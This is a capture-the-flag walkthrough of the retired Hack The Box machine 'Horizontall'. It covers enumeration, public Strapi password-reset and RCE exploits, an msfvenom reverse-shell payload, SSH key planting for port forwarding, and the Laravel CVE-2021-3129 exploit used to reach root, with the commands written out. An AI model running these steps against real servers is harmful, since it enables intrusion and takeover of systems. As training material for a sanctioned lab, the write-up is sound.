Hack The Box: Horizontall

Today, the “Horizontall” box on HackTheBox retired, which means that publishing write-ups is permitted.


box horizontall


We start with the standard nmap-enumeration, top 1000 ports: sudo nmap -sC -sV

box horizontall

We see two services, a web server on port 80 and a SSH server on 22. A full port scan doesn’t reveal any further information.

So let’s try to see what the web browser reveals. We receive an “unable to connect” error, and a redirect to https://horizontall.htb:

box horizontall

So let’s add a line to the /etc/hosts/ file and try again: horizontall.htb

This time we see a page loading when we visit http://horizontall.htb..

box horizontall

However it seems all links and forms on the form are only front-end dummies, nothing happens when we click them. Gobuster also doesn’t reveal any further directories.

So let’s check the sources in the developer tools. We can see two JavaScript files loading during startup in the Network tabs:

box horizontall

Clicking on the scripts shows the source code. It is slightly obfuscated code, but a quick search for “http” in the code reveals a link to another subdomain:

box horizontall

Let’s add “api-prod.horizontall.htb” to our /etc/hosts file as well, and try to access it.

This time we see a welcome page.

box horizontall

This time the gobuster scan is more successful. We see several subdirectories, including interesting ones like admin/ and users:

box horizontall

Initial Foothold

The /admin directory leads to a Strapi authentication form.

box horizontall

I couldn’t find the Strapi version, so I just did a general search on vulnerabilities for Strapi. Exploit-DB lists Remote Execution Vulnerabilities (unauthenticated):

box horizontall

Checking the code reveals that the script uses the admin/auth/reset-password API to overwrite the administrator password. Let’s download the script1 and run it:

$ python3 50239.py http://api-prod.horizontall.htb

It seems to have worked:

box horizontall

We also receive a kind of shell, but in my case it was too unstable to use. Instead, we can now log in as “admin” user and see what else we can do.

We see an admin panel with the possibility to files and plugin upload.

box horizontall

Also we can see now that the Strapi version is v3.0.0-beta.17.4, which means that the (authenticated) RCE from exploit-db could work. Let’s download the code and test it.

The exploit takes the following parameters:

  • https://IP[:PORT]

The JWT-Token was received as output of our former exploit. For proof of concept, let’s run the exploit with id as command:

box horizontall

Since this worked, we can try as next step to upload an executable file in the admin panel, and run it via our web shell. We can create an executable file with help of msfvenom:

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST= PORT=4444 -f elf > shell.elf

This shell is uploaded in the panel. Clicking on it reveals the path too (the name has changed).

box horizontall

After a little enumeration with our webshell, we find that the uploads get stored in the relative path ./public/uploads/. So, as first step, we make the file executable. In the second step, we create a netcat listener and call it.

$ python3 exploit2-rce.py http://api-prod.horizontall.htb eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyMzIxOTgyLCJleHAiOjE2NDQ5MTM5ODJ9.mkKerAGPhCrxkITWJCjXJaSbzyLXwdDZhRm7HlXpOuA "chmod +x public/uploads/b9141922edef45b1b7efb27df5ba3c0c.elf" 

After that, we execute it and get a shell as user “strapi”:

python3 exploit2-rce.py http://api-prod.horizontall.htb eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyMzIxOTgyLCJleHAiOjE2NDQ5MTM5ODJ9.mkKerAGPhCrxkITWJCjXJaSbzyLXwdDZhRm7HlXpOuA "./public/uploads/b9141922edef45b1b7efb27df5ba3c0c.elf" 

box horizontall

With this, we can read the “user” flag in the /home/developer/ folder.

Privilege Escalation

What next? We can enumerate the server, for example with help of LinPeas2, by uploading the script to the server and executing it.

Unfortunately we don’t have the password of the strapi user, which means that many potential attack vectors can’t be used.

However, the section “Active Ports” shows two applications that were not accessible from the outside: (probably) MYSQL running on port 3306, and something else on port 8000.

box horizontall

Calling $ curl reveals that there seems to be a Laravel web server running. The version is “Laravel v8 (PHP v7.4.18)”.

netstat -natpe shows that the process owner seems to be root:

box horizontall

First of all, let’s create SSH keys in order to be able to do port forwarding.

On our local machine, we create keys with ssh-keygen. Then we can copy the public key to the victim machine:

$ echo <key> > ~/.ssh/authorized_keys

and we can login with ssh strapi@ -i key.

We can do port forwarding with the ssh -L option:

$ ssh -L 8000: strapi@ -i key  

Now we can visit the Laravel page locally:

box horizontall

Searching for exploits for this Laravel version reveals CVE-2021-3129 and we can use the following exploit3. It allows unauthenticated remote attackers to execute arbitrary code, if the site is using debug mode.

According to the documentation, these are the codes that we need to run (on our local machine):

$ git clone https://github.com/nth347/CVE-2021-3129_exploit.git
$ cd CVE-2021-3129_exploit
$ chmod +x exploit.py
$ ./exploit.py http://localhost:8000 Monolog/RCE1 whoami

which returns “root”.

From here we could do many things, but since we’re only interested in the flag, we simply pass cat root/root.txt as command and are finished.